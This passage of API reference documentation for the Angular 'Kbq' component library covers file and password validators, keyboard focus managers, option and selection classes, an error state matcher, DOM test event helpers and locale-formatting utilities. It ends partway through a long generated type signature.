##### FileValidators (class)

Provides a set of validators for file-related form controls.

```ts
class FileValidators {
    static maxFileSize(maxSize: number): ValidatorFn;
    static isCorrectExtension(
        accept: (`.${string}` | `${string}/${string}`)[]
    ): ValidatorFn;
}
```

- `maxFileSize()`: `ValidatorFn` — Validator that checks if the file size is less than or equal to the provided `maxSize`.
  - `maxSize`: `number` — The maximum allowed file size in bytes.
  - returns `ValidatorFn` — A ValidatorFn function that checks the file size.

    ###### Usage:

    ```typescript
    const control = new FormControl(null, [FileValidators.maxFileSize(1024 * 1024)]); // 1MB
    control.setValue(FILE_LESS_OR_EQUAL_THAN_1MB);
    console.log(control.errors); // null
    control.setValue(FILE_MORE_THAN_1MB);
    console.log(control.errors); // {maxFileSize: { max: 1048576, actual: FILE_MORE_THAN_1MB.size }}
    ```
- `isCorrectExtension()`: `ValidatorFn` — Validator that checks whether file's name or MIME type
  matches one of the accepted extensions or MIME types.
  - `accept`: ``(`.${string}` | `${string}/${string}`)[]`` — Array of allowed file extensions or MIME types.
  - returns `ValidatorFn` — ValidatorFn that returns validation error if file type is not accepted, or null otherwise.

##### FocusKeyManager (class)

```ts
class FocusKeyManager<T> extends ListKeyManager<IFocusableOption & T> {
    tabOut: Subject<void>;
    change: Subject<number>;
    previousActiveItemIndex: number;
    get activeItemIndex(): number;
    get activeItem(): T | null;
    setActiveItem(item: number | T): void;
    setFocusOrigin(origin: FocusOrigin): this;
    /** @deprecated */
    getFocusOrigin(): FocusOrigin;
    isTyping(): boolean;
    withScrollSize(scrollSize: number): this;
    withAllowedModifierKeys(keys: ListKeyManagerModifierKey[]): this;
    withWrap(shouldWrap?: boolean): this;
    skipPredicate(predicate: (item: T) => boolean): this;
    withVerticalOrientation(enabled?: boolean): this;
    withHorizontalOrientation(direction: 'ltr' | 'rtl' | null): this;
    withTypeAhead(
        debounceInterval?: number,
        searchLetterIndex?: number
    ): this;
    withHomeAndEnd(enabled?: boolean): this;
    onKeydown(event: KeyboardEvent): void;
    setFirstItemActive(): void;
    setLastItemActive(): void;
    setNextItemActive(): void;
    setPreviousItemActive(): void;
    setNextPageItemActive(delta?: number): void;
    setPreviousPageItemActive(delta?: number): void;
    updateActiveItem(index: number): void;
    updateActiveItem(item: number | T): void;
}
```

- `tabOut`: `Subject<void>` — Stream that emits any time the TAB key is pressed, so components can react
  when focus is shifted off of the list.
- `change`: `Subject<number>` — Stream that emits whenever the active item of the list manager changes.
- `setActiveItem()`: `void` — Sets the active item or index to the item that is specified and focuses it.
  - `item`: `number | T` — Item to be set as active.
- `setFocusOrigin()`: `this` — Sets the focus origin that will be passed in to the items for any subsequent `focus` calls.
  - `origin`: `FocusOrigin` — Focus origin to be used when focusing items.
- `getFocusOrigin()`: `FocusOrigin` — Deprecated: Keep the origin you pass to `setFocusOrigin()`. Will be removed in 22.0.0.
- `isTyping()`: `boolean` — Gets whether the user is currently typing into the manager using the typeahead feature.
- `withAllowedModifierKeys()`: `this` — Modifier keys which are allowed to be held down and whose default actions will be prevented
  as the user is pressing the arrow keys. Defaults to not allowing any modifier keys.
- `withWrap()`: `this` — Turns on wrapping mode, which ensures that the active item will wrap to
  the other end of list when there are no more items in the given direction.
- `skipPredicate()`: `this` — Sets the predicate function that determines which items should be skipped by the
  list key manager.
  - `predicate`: `(item: T) => boolean` — Function that determines whether the given item should be skipped.
- `withVerticalOrientation()`: `this` — Configures whether the key manager should be able to move the selection vertically.
  - `enabled`: `boolean` — Whether vertical selection should be enabled.
- `withHorizontalOrientation()`: `this` — Configures the key manager to move the selection horizontally.
  Passing in `null` will disable horizontal movement.
  - `direction`: `'ltr' | 'rtl' | null` — Direction in which the selection can be moved.
- `withTypeAhead()`: `this` — Turns on typeahead mode which allows users to set the active item by typing.
  - `debounceInterval`: `number` — Time to wait after the last keystroke before setting the active item.
  - `searchLetterIndex`: `number` — letter index for incremental search, if is -1 search is disabled
- `withHomeAndEnd()`: `this` — Configures the key manager to activate the first and last items
  respectively when the Home or End key is pressed.
  - `enabled`: `boolean` — Whether pressing the Home or End key activates the first/last item.
- `onKeydown()`: `void` — Sets the active item depending on the key event passed in.
  - `event`: `KeyboardEvent` — Keyboard event to be used for determining which element should be active.
- `updateActiveItem()`: `void` — Allows setting the active without any other effects.
  - `index`: `number` — Index of the item to be set as active.

##### KbqAutoHideScrollStrategy (class)

Scroll strategy that repositions the overlay on scroll and reports when the tracked element
moves outside its boundary:

- With `originElement`: tracks the origin against each ancestor `CdkScrollable` container.
- Without `originElement`: tracks the overlay panel against the viewport.

Two ways to react to the out-of-bounds event, usable independently or together:
- Subscribe to `hide` — a handle for callers that don't control how this strategy is
  constructed (e.g. reaching into an existing component's `overlayRef.getConfig().scrollStrategy`
  from the outside).
- Pass `onHide` via the factory returned by `kbqAutoHideScrollStrategyFactory` — for callers
  that construct the strategy themselves.

```ts
class KbqAutoHideScrollStrategy implements ScrollStrategy {
    readonly hide: Observable<void>;
    constructor(
        scrollDispatcher: ScrollDispatcher,
        viewportRuler: ViewportRuler,
        ngZone: NgZone,
        config?: KbqAutoHideScrollStrategyConfig,
        hooks?: KbqAutoHideScrollStrategyHooks
    );
    enable(): void;
    disable(): void;
    detach(): void;
}
```

- `hide`: `Observable<void>` — Emits once when the tracked element scrolls outside its boundary.
- `enable()`: `void` — Subscribes to scroll events and starts repositioning / out-of-bounds detection.
- `disable()`: `void` — Unsubscribes from scroll events.
- `detach()`: `void` — Disables the strategy and completes `hide`.

##### KbqOptionBase (abstract class)

```ts
abstract class KbqOptionBase {
    abstract get value(): any;
    abstract get viewValue(): string;
    abstract get disabled(): boolean;
    abstract readonly onSelectionChange: EventEmitter<KbqOptionSelectionChange<any>>;
    abstract select(): void;
    abstract deselect(): void;
    protected emitSelectionChangeEvent(isUserInput?: boolean): void;
}
```

- `emitSelectionChangeEvent()`: `void` — Emits the selection change event.

##### KbqOptionSelectionChange (class)

Event object emitted by KbqOption when selected or deselected.

```ts
class KbqOptionSelectionChange<T = KbqOption> {
    source: T;
    isUserInput: boolean;
    constructor(source: T, isUserInput?: boolean);
}
```

##### KbqSelectAllEvent (class)

Event emitted by the `onSelectAll` outputs when the select-all toggle runs.

```ts
class KbqSelectAllEvent<T, S = unknown> {
    readonly source: S;
    readonly options: T[];
    readonly selected: boolean;
    constructor(source: S, options: T[], selected: boolean);
}
```

- `source`: `S` — Component that emitted the event.
- `options`: `T[]` — The selectable options affected by the toggle.
- `selected`: `boolean` — `true` when all options were selected, `false` when all were deselected.
- `constructor()`
  - `source`: `S` — Component that emitted the event.
  - `options`: `T[]` — The selectable options affected by the toggle.
  - `selected`: `boolean` — `true` when all options were selected, `false` when all were deselected.

##### KbqVirtualOption (class)

```ts
class KbqVirtualOption extends KbqOptionBase {
    disabled: any;
    get selected(): boolean;
    get viewValue(): string;
    readonly onSelectionChange: EventEmitter<KbqOptionSelectionChange<KbqVirtualOption>>;
    value: any;
    constructor(value: any, _disabled?: boolean, _viewValue?: string);
    select(): void;
    deselect(): void;
    protected emitSelectionChangeEvent(isUserInput?: boolean): void;
}
```

- `emitSelectionChangeEvent()`: `void` — Emits the selection change event.

##### ListKeyManager (class)

This class manages keyboard events for selectable lists. If you pass it a query list
of items, it will set the active item correctly when arrow events occur.

```ts
class ListKeyManager<T extends ListKeyManagerOption> {
    tabOut: Subject<void>;
    change: Subject<number>;
    previousActiveItemIndex: number;
    get activeItemIndex(): number;
    get activeItem(): T | null;
    constructor(_items: QueryList<T>);
    isTyping(): boolean;
    withScrollSize(scrollSize: number): this;
    withAllowedModifierKeys(keys: ListKeyManagerModifierKey[]): this;
    withWrap(shouldWrap?: boolean): this;
    skipPredicate(predicate: (item: T) => boolean): this;
    withVerticalOrientation(enabled?: boolean): this;
    withHorizontalOrientation(direction: 'ltr' | 'rtl' | null): this;
    withTypeAhead(
        debounceInterval?: number,
        searchLetterIndex?: number
    ): this;
    withHomeAndEnd(enabled?: boolean): this;
    setActiveItem(index: number | T): void;
    onKeydown(event: KeyboardEvent): void;
    setFirstItemActive(): void;
    setLastItemActive(): void;
    setNextItemActive(): void;
    setPreviousItemActive(): void;
    setNextPageItemActive(delta?: number): void;
    setPreviousPageItemActive(delta?: number): void;
    updateActiveItem(index: number): void;
    updateActiveItem(item: number | T): void;
}
```

- `tabOut`: `Subject<void>` — Stream that emits any time the TAB key is pressed, so components can react
  when focus is shifted off of the list.
- `change`: `Subject<number>` — Stream that emits whenever the active item of the list manager changes.
- `isTyping()`: `boolean` — Gets whether the user is currently typing into the manager using the typeahead feature.
- `withAllowedModifierKeys()`: `this` — Modifier keys which are allowed to be held down and whose default actions will be prevented
  as the user is pressing the arrow keys. Defaults to not allowing any modifier keys.
- `withWrap()`: `this` — Turns on wrapping mode, which ensures that the active item will wrap to
  the other end of list when there are no more items in the given direction.
- `skipPredicate()`: `this` — Sets the predicate function that determines which items should be skipped by the
  list key manager.
  - `predicate`: `(item: T) => boolean` — Function that determines whether the given item should be skipped.
- `withVerticalOrientation()`: `this` — Configures whether the key manager should be able to move the selection vertically.
  - `enabled`: `boolean` — Whether vertical selection should be enabled.
- `withHorizontalOrientation()`: `this` — Configures the key manager to move the selection horizontally.
  Passing in `null` will disable horizontal movement.
  - `direction`: `'ltr' | 'rtl' | null` — Direction in which the selection can be moved.
- `withTypeAhead()`: `this` — Turns on typeahead mode which allows users to set the active item by typing.
  - `debounceInterval`: `number` — Time to wait after the last keystroke before setting the active item.
  - `searchLetterIndex`: `number` — letter index for incremental search, if is -1 search is disabled
- `withHomeAndEnd()`: `this` — Configures the key manager to activate the first and last items
  respectively when the Home or End key is pressed.
  - `enabled`: `boolean` — Whether pressing the Home or End key activates the first/last item.
- `setActiveItem()`: `void` — Sets the active item to the item at the index specified.
  - `index`: `number | T` — The index of the item to be set as active or item The item to be set as active.
- `onKeydown()`: `void` — Sets the active item depending on the key event passed in.
  - `event`: `KeyboardEvent` — Keyboard event to be used for determining which element should be active.
- `updateActiveItem()`: `void` — Allows setting the active without any other effects.
  - `index`: `number` — Index of the item to be set as active.

##### PasswordValidators (class)

Provides a set of validators for password form controls.

```ts
class PasswordValidators {
    static minLength(min: number): ValidatorFn;
    static maxLength(max: number): ValidatorFn;
    static minUppercase(min: number): ValidatorFn;
    static minLowercase(min: number): ValidatorFn;
    static minNumber(min: number): ValidatorFn;
    static minSpecial(min: number): ValidatorFn;
}
```

- `minLength()`: `ValidatorFn` — Validator that requires the control's value length to be at least `min` characters.

  `min` - number of characters.

  ###### Usage:

  ```typescript
  const control = new FormControl('password', PasswordValidators.minLength(10));
  console.log(control.errors); // {minLength: {min: 10, actual: 8}}
  ```
- `maxLength()`: `ValidatorFn` — Validator that requires the control's value length to be at most `max` characters.

  `max` - number of characters.

  ###### Usage:
  ```typescript
  const control = new FormControl('password', PasswordValidators.maxLength(6));
  console.log(control.errors); // {maxLength: {max: 6, actual: 8}}
  ```
- `minUppercase()`: `ValidatorFn` — Validator that requires the control's value to be at least `min` uppercase characters.

  `min` - number of uppercase characters.

  ###### Usage:

  ```typescript
  const control = new FormControl('Password', PasswordValidators.minUppercase(2));
  console.log(control.errors); // {minUppercase: {min: 2, actual: 1}}
  ```
- `minLowercase()`: `ValidatorFn` — Validator that requires the control's value to be at least `min` lowercase characters.

  `min` - number of lowercase characters.

  ###### Usage:

  ```typescript
  const control = new FormControl('PASSWORD', PasswordValidators.minLowercase());
  console.log(control.errors); // {minLowercase: {min: 1, actual: 0}}
  ```
- `minNumber()`: `ValidatorFn` — Validator that requires the control's value to be at least `min` number characters.

  `min` - number of number characters.

  ###### Usage:

  ```typescript
  const control = new FormControl('passw0rd', PasswordValidators.minNumber(2));
  console.log(control.errors); // {minNumber: {min: 2, actual: 1}}
  ```
- `minSpecial()`: `ValidatorFn` — Validator that requires the control's value to be at least `min` special characters.

  `min` - number of special characters.

  ###### Special characters:
  ```js
  ['!','@','#','$','%','^','&','*']
  ```

  ###### Usage:

  ```typescript
  const control = new FormControl('pa$sword', PasswordValidators.minSpecial(2));
  console.log(control.errors); // {minSpecial: {min: 2, actual: 1}}
  ```

##### ShowOnCrossFieldErrorStateMatcher (class)

Error state matcher that also shows an error set on a `FormGroup` on the controls that error concerns,
which the default matcher cannot: it is handed the field's own `FormControl` and never looks further.

`scope` maps an error to those controls, so no error shape is imposed on validators. The error is revealed
once every one of them is touched, or the form is submitted — override `shouldReveal` to change that.

###### Usage:

```typescript
providers: [
    kbqErrorStateMatcherProvider(
        new ShowOnCrossFieldErrorStateMatcher((key) =>
            key === 'passwordsMismatch' ? ['newPassword', 'confirmPassword'] : null
        )
    )
]
```

Always pass an instance, as above — never the bare class (or a subclass) to `kbqErrorStateMatcherProvider`.
`scope` has no injection token, so Angular cannot construct this class on its own; passing the class throws
`NG0204` the first time anything injects `ErrorStateMatcher`.

###### Combining with another matcher

Cross-field display timing is this class's one job; timing for a control's own, non-cross-field errors is
not, so it is delegated to `own` (default: the plain `ErrorStateMatcher`) rather than hard-coded — pass any
other matcher to combine its timing with cross-field support, instead of subclassing:

```typescript
new ShowOnCrossFieldErrorStateMatcher(
    (key) => (key === 'passwordsMismatch' ? ['newPassword', 'confirmPassword'] : null),
    new ShowRequiredOnSubmitErrorStateMatcher()
)
```

```ts
class ShowOnCrossFieldErrorStateMatcher extends ErrorStateMatcher {
    constructor(scope: CrossFieldErrorScope, own?: ErrorStateMatcher);
    isErrorState(
        control: AbstractControl | null,
        form: FormGroupDirective | NgForm | null
    ): boolean;
    protected shouldReveal(controls: AbstractControl[]): boolean;
}
```

- `shouldReveal()`: `boolean` — Whether the controls a cross-field error concerns have been interacted with enough to show it.

  Consulted only while the form has not been submitted — a submit always reveals. A disabled control
  counts as satisfied, since it can never be touched by the user. Override to change the rule: when one
  end of a range is prefilled and the user is never expected to visit it, waiting for all of them hides
  the error until submit, and `controls.some(...)` is the better cue.

#### Functions

##### checkAndNormalizeLocalizedNumber (function)

Function that parse string and return a number. The string can be in any locale.

```ts
function checkAndNormalizeLocalizedNumber(
    num: string | null | undefined,
    locale?: string
): number | null;
```

##### createFakeEvent (function)

Creates a fake event object with any desired event type.

```ts
function createFakeEvent(
    type: string,
    canBubble?: boolean,
    cancelable?: boolean
): Event;
```

##### createKeyboardEvent (function)

Dispatches a keydown event from an element.

```ts
function createKeyboardEvent(
    type: string,
    keyCode: number,
    target?: Element,
    key?: string
): any;
```

##### createMouseEvent (function)

Creates a browser MouseEvent with the specified options.

```ts
function createMouseEvent(
    type: string,
    x?: number,
    y?: number,
    button?: number
): MouseEvent;
```

##### createSearchPredicate (function)

Builds a case- and diacritic-insensitive substring predicate for the given query. The query is
tokenized (bare words + `"quoted phrases"`) and every token must match (AND) against at least
one of the supplied haystacks (OR across fields) — pass a single string for a single-field
search, or an array for multi-field rows. An empty/whitespace-only query matches everything.

```ts
function createSearchPredicate(
    query: string
): (value: string | readonly string[]) => boolean;
```

##### createTouchEvent (function)

Creates a browser TouchEvent with the specified pointer coordinates.

```ts
function createTouchEvent(
    type: string,
    pageX?: number,
    pageY?: number
): UIEvent;
```

##### dispatchEvent (function)

Utility to dispatch any event on a Node.

```ts
function dispatchEvent(node: Node | Window, event: Event): Event;
```

##### dispatchFakeEvent (function)

Shorthand to dispatch a fake event on a specified node.

```ts
function dispatchFakeEvent(
    node: Node | Window,
    type: string,
    canBubble?: boolean
): Event;
```

##### dispatchKeyboardEvent (function)

Shorthand to dispatch a keyboard event with a specified key code and, optionally, a `KeyboardEvent.key`.

```ts
function dispatchKeyboardEvent(
    node: Node,
    type: string,
    keyCode: number,
    target?: Element,
    key?: string
): KeyboardEvent;
```

##### dispatchMouseEvent (function)

Shorthand to dispatch a mouse event on the specified coordinates.

```ts
function dispatchMouseEvent(
    node: Node,
    type: string,
    x?: number,
    y?: number,
    event?: MouseEvent
): MouseEvent;
```

##### dispatchTouchEvent (function)

Shorthand to dispatch a touch event on the specified coordinates.

```ts
function dispatchTouchEvent(
    node: Node,
    type: string,
    x?: number,
    y?: number
): Event;
```

##### escapeRegExp (function)

Escapes characters in the specified string that have special meaning in a regular expression.

```ts
function escapeRegExp(value: string): string;
```

##### findSearchMatchRanges (function)

Locates every case- and diacritic-insensitive match of `tokens` in `value`, returning `[start, end)`
ranges in `value`'s own (unfolded) coordinates — overlapping or adjacent ranges are merged. This is
what a highlighter needs to stay in sync with `createSearchPredicate`: matching a folded value
like `cafe` against `Café` only tells you *that* it matched, not *where* in the original string to
mark, since folding can change which letters look alike without changing the string's length.

```ts
function findSearchMatchRanges(
    value: string,
    tokens: readonly string[]
): Array<[number, number]>;
```

##### formatNumberWithLocale (function)

Formats a number value according to locale and formatting options

```ts
function formatNumberWithLocale(
    value: unknown,
    formatter: Intl.NumberFormat,
    options?: KbqNumberFormatOptions
): string;
```

##### getFormattedSizeParts (function)

Converts a byte value into locale-independent file size parts: numeric value and unit abbreviation.

```ts
getFormattedSizeParts(1500, 'SI'); // { value: "1.50", unit: "KB" }
```

```ts
function getFormattedSizeParts(
    value: number,
    system: KbqUnitSystem
): { value: string; unit: string };
```

- `value`: `number` — size in bytes.
- `system`: `KbqUnitSystem` — unit system defining abbreviations and base scaling (SI/IEC).
- returns `{ value: string; unit: string }` — Object with the formatted size info.

##### getSelectAllState (function)

State of a "select all" master checkbox over the same items `toggleSelectAll` would act on.

Considers only selectable items, so items the toggle cannot reach (disabled, non-selectable) never
pin the checkbox to `indeterminate`. An empty selectable set reads as `unchecked`: there is nothing
to select, and `[].every()` being `true` would otherwise report a full selection.

```ts
function getSelectAllState<T>(
    adapter: KbqSelectAllAdapter<T>
): KbqPseudoCheckboxState;
```

##### isBoolean (function)

Deprecated: Use `typeof value === 'boolean'`. Will be removed in 22.0.0.

```ts
function isBoolean(value: unknown): value is boolean;
```

##### isMac (function)

Whether the current platform is a Mac.

```ts
function isMac(): boolean;
```

##### KBQ_DEFAULT_LOCALE_DATA_FACTORY (function)

```ts
function KBQ_DEFAULT_LOCALE_DATA_FACTORY(): { items: { id: string; name: string; }[]; 'en-US': { formatters: { number: { rounding: { separator: string; groupSeparator: string; thousand: string; million: string; billion: string; trillion: string; }; }; }; input: { number: { groupSeparator: string[]; fractionSeparator: string; }; }; sizeUnits: { defaultUnitSystem: "SI"; defaultPrecision: number; unitSystems: { SI: { abbreviations: string[]; base: number; power: number; }; IEC: { abbreviations: string[]; base: number; power: number; }; }; }; a11y: { close: string; save: string; saving: string; saveFailed: string; cancel: string; edit: string; removeAll: string; remove: string; breadcrumbs: string; expandBreadcrumbs: string; previousMonth: string; currentDate: string; nextMonth: string; clear: string; showPassword: string; hidePassword: string; resizeColumns: string; resizePanels: string; toastRegion: string; optionActions: string; progressBar: string; }; select: { hiddenItemsText: string; selectAll: string; }; datepicker: { placeholder: string; dateInput: string; }; timepicker: { placeholder: { full: string; short: string; }; }; fileUpload: { a11y: { fileAdded: string; fileRemoved: string; filesNotAdded: string; }; single: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; }; multiple: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; captionTextWhenSelected: string; captionTextForCompactSize: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; title: string; }; }; codeBlock: { softWrapOnTooltip: string; softWrapOffTooltip: string; downloadTooltip: string; copiedTooltip: string; copyTooltip: string; viewAllText: string; viewLessText: string; openExternalSystemTooltip: string; }; timezone: { searchPlaceholder: string; otherCountriesLabel: string; }; actionsPanel: { closeTooltip: string; }; filterBar: { reset: { buttonName: string; }; search: { tooltip: string; placeholder: string; }; filters: { defaultName: string; saveNewFilterTooltip: string; searchPlaceholder: string; searchEmptyResult: string; saveAsNewFilter: string; saveChangesHeader: string; saveChangesButton: string; saveAsNewHeader: string; saveAsNewButton: string; change: string; resetChanges: string; remove: string; errorHint: string; saveButton: string; cancelButton: string; actionsTooltip: string; }; add: { tooltip: string; addedAnnouncement: string; }; refresher: { refresh: string; settings: string; }; pipe: { clearButtonTooltip: string; removeButtonTooltip: string; applyButton: string; emptySearchResult: string; selectAll: string; noOptions: string; }; datePipe: { customPeriod: string; customPeriodFrom: string; customPeriodTo: string; customPeriodErrorHint: string; customPeriodMinIntervalErrorHint: string; customPeriodMaxIntervalErrorHint: string; backToPeriodSelection: string; }; }; clampedText: { openText: string; closeText: string; showMoreText: string; moreText: string; }; navbar: { toggle: { expand: string; collapse: string; }; }; searchExpandable: { tooltip: string; placeholder: string; }; appSwitcher: { searchPlaceholder: string; searchEmptyResult: string; sitesHeader: string; clearSearch: string; }; username: { siteLabel: string; }; popoverConfirm: { confirmText: string; confirmButtonText: string; }; timeRange: { title: { placeholder: string; }; editor: { from: string; to: string; apply: string; cancel: string; rangeLabel: string; outOfBoundsError: string; allTime: string; currentQuarter: string; currentYear: string; allTimeOption: string; currentQuarterOption: string; currentYearOption: string; }; durationTemplate: { title: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; option: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; }; }; notificationCenter: { notifications: string; remove: string; removeAll: string; doNotDisturb: string; showPopUpNotifications: string; noNotifications: string; failedToLoadNotifications: string; repeat: string; loadingMore: string; unread: string; }; }; 'es-LA': { formatters: { number: { rounding: { separator: string; groupSeparator: string; thousand: string; million: string; billion: string; trillion: string; }; decimal: { viewGroupSeparator: string; }; }; }; input: { number: { groupSeparator: string[]; fractionSeparator: string; viewGroupSeparator: string; }; }; sizeUnits: { defaultUnitSystem: "SI"; defaultPrecision: number; unitSystems: { SI: { abbreviations: string[]; base: number; power: number; }; IEC: { abbreviations: string[]; base: number; power: number; }; }; }; a11y: { close: string; save: string; saving: string; saveFailed: string; cancel: string; edit: string; removeAll: string; remove: string; breadcrumbs: string; expandBreadcrumbs: string; previousMonth: string; currentDate: string; nextMonth: string; clear: string; showPassword: string; hidePassword: string; resizeColumns: string; resizePanels: string; toastRegion: string; optionActions: string; progressBar: string; }; select: { hiddenItemsText: string; selectAll: string; }; datepicker: { placeholder: string; }; timepicker: { placeholder: { full: string; short: string; }; }; fileUpload: { a11y: { fileAdded: string; fileRemoved: string; filesNotAdded: string; }; single: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; }; multiple: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; captionTextWhenSelected: string; captionTextForCompactSize: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; title: string; }; }; codeBlock: { softWrapOnTooltip: string; softWrapOffTooltip: string; downloadTooltip: string; copiedTooltip: string; copyTooltip: string; viewAllText: string; viewLessText: string; openExternalSystemTooltip: string; }; timezone: { searchPlaceholder: string; otherCountriesLabel: string; }; actionsPanel: { closeTooltip: string; }; filterBar: { reset: { buttonName: string; }; search: { tooltip: string; placeholder: string; }; filters: { defaultName: string; saveNewFilterTooltip: string; searchPlaceholder: string; searchEmptyResult: string; saveAsNewFilter: string; saveChangesHeader: string; saveChangesButton: string; saveAsNewHeader: string; saveAsNewButton: string; change: string; resetChanges: string; remove: string; errorHint: string; saveButton: string; cancelButton: string; actionsTooltip: string; }; add: { tooltip: string; addedAnnouncement: string; }; refresher: { refresh: string; settings: string; }; pipe: { clearButtonTooltip: string; removeButtonTooltip: string; applyButton: string; emptySearchResult: string; selectAll: string; noOptions: string; }; datePipe: { customPeriod: string; customPeriodFrom: string; customPeriodTo: string; customPeriodErrorHint: string; customPeriodMinIntervalErrorHint: string; customPeriodMaxIntervalErrorHint: string; backToPeriodSelection: string; }; }; clampedText: { openText: string; closeText: string; showMoreText: string; moreText: string; }; navbar: { toggle: { expand: string; collapse: string; }; }; searchExpandable: { tooltip: string; placeholder: string; }; appSwitcher: { searchPlaceholder: string; searchEmptyResult: string; sitesHeader: string; clearSearch: string; }; username: { siteLabel: string; }; popoverConfirm: { confirmText: string; confirmButtonText: string; }; timeRange: { title: { placeholder: string; }; editor: { from: string; to: string; apply: string; cancel: string; rangeLabel: string; outOfBoundsError: string; allTime: string; currentQuarter: string; currentYear: string; allTimeOption: string; currentQuarterOption: string; currentYearOption: string; }; durationTemplate: { title: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; option: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; }; }; notificationCenter: { notifications: string; remove: string; removeAll: string; doNotDisturb: string; showPopUpNotifications: string; noNotifications: string; failedToLoadNotifications: string; repeat: string; loadingMore: string; unread: string; }; }; 'pt-BR': { formatters: { number: { rounding: { separator: string; groupSeparator: string; thousand: string; million: string; billion: string; trillion: string; }; }; }; input: { number: { groupSeparator: string[]; fractionSeparator: string; }; }; sizeUnits: { defaultUnitSystem: "SI"; defaultPrecision: number; unitSystems: { SI: { abbreviations: string[]; base: number; power: number; }; IEC: { abbreviations: string[]; base: number; power: number; }; }; }; a11y: { close: string; save: string; saving: string; saveFailed: string; cancel: string; edit: string; removeAll: string; remove: string; breadcrumbs: string; expandBreadcrumbs: string; previousMonth: string; currentDate: string; nextMonth: string; clear: string; showPassword: string; hidePassword: string; resizeColumns: string; resizePanels: string; toastRegion: string; optionActions: string; progressBar: string; }; select: { hiddenItemsText: string; selectAll: string; }; datepicker: { placeholder: string; }; timepicker: { placeholder: { full: string; short: string; }; }; fileUpload: { a11y: { fileAdded: string; fileRemoved: string; filesNotAdded: string; }; single: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; }; multiple: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; captionTextWhenSelected: string; captionTextForCompactSize: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; title: string; }; }; codeBlock: { softWrapOnTooltip: string; softWrapOffTooltip: string; downloadTooltip: string; copiedTooltip: string; copyTooltip: string; viewAllText: string; viewLessText: string; openExternalSystemTooltip: string; }; timezone: { searchPlaceholder: string; otherCountriesLabel: string; }; actionsPanel: { closeTooltip: string; }; filterBar: { reset: { buttonName: string; }; search: { tooltip: string; placeholder: string; }; filters: { defaultName: string; saveNewFilterTooltip: string; searchPlaceholder: string; searchEmptyResult: string; saveAsNewFilter: string; saveChangesHeader: string; saveChangesButton: string; saveAsNewHeader: string; saveAsNewButton: string; change: string; resetChanges: string; remove: string; errorHint: string; saveButton: string; cancelButton: string; actionsTooltip: string; }; add: { tooltip: string; addedAnnouncement: string; }; refresher: { refresh: string; settings: string; }; pipe: { clearButtonTooltip: string; removeButtonTooltip: string; applyButton: string; emptySearchResult: string; selectAll: string; noOptions: string; }; datePipe: { customPeriod: string; customPeriodFrom: string; customPeriodTo: string; customPeriodErrorHint: string; customPeriodMinIntervalErrorHint: string; customPeriodMaxIntervalErrorHint: string; backToPeriodSelection: string; }; }; clampedText: { openText: string; closeText: string; showMoreText: string; moreText: string; }; navbar: { toggle: { expand: string; collapse: string; }; }; searchExpandable: { tooltip: string; placeholder: string; }; appSwitcher: { searchPlaceholder: string; searchEmptyResult: string; sitesHeader: string; clearSearch: string; }; username: { siteLabel: string; }; popoverConfirm: { confirmText: string; confirmButtonText: string; }; timeRange: { title: { placeholder: string; }; editor: { from: string; to: string; apply: string; cancel: string; rangeLabel: string; outOfBoundsError: string; allTime: string; currentQuarter: string; currentYear: string; allTimeOption: string; currentQuarterOption: string; currentYearOption: string; }; durationTemplate: { title: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; option: { SEPARATOR: string; LAST_PART_SEPARATOR: string; YEARS: string; MONTHS: string; WEEKS: string; DAYS: string; HOURS: string; MINUTES: string; SECONDS: string; YEARS_FRACTION: string; MONTHS_FRACTION: string; }; }; }; notificationCenter: { notifications: string; remove: string; removeAll: string; doNotDisturb: string; showPopUpNotifications: string; noNotifications: string; failedToLoadNotifications: string; repeat: string; loadingMore: string; unread: string; }; }; 'ru-RU': { formatters: { number: { rounding: { separator: string; groupSeparator: string; thousand: string; million: string; billion: string; trillion: string; }; decimal: { viewGroupSeparator: string; }; }; }; input: { number: { groupSeparator: string[]; fractionSeparator: string; startFormattingFrom: number; viewGroupSeparator: string; }; }; sizeUnits: { defaultUnitSystem: "SI"; defaultPrecision: number; unitSystems: { SI: { abbreviations: string[]; base: number; power: number; }; IEC: { abbreviations: string[]; base: number; power: number; }; }; }; a11y: { close: string; save: string; saving: string; saveFailed: string; cancel: string; edit: string; removeAll: string; remove: string; breadcrumbs: string; expandBreadcrumbs: string; previousMonth: string; currentDate: string; nextMonth: string; clear: string; showPassword: string; hidePassword: string; resizeColumns: string; resizePanels: string; toastRegion: string; optionActions: string; progressBar: string; }; select: { hiddenItemsText: string; selectAll: string; }; datepicker: { placeholder: string; dateInput: string; }; timepicker: { placeholder: { full: string; short: string; }; }; fileUpload: { a11y: { fileAdded: string; fileRemoved: string; filesNotAdded: string; }; single: { captionText: string; captionTextOnlyFolder: string; captionTextWithFolder: string; browseLink: string; browseLinkFolder: string; browseLinkFolderMixed: string; }; multiple: { captionText: string; 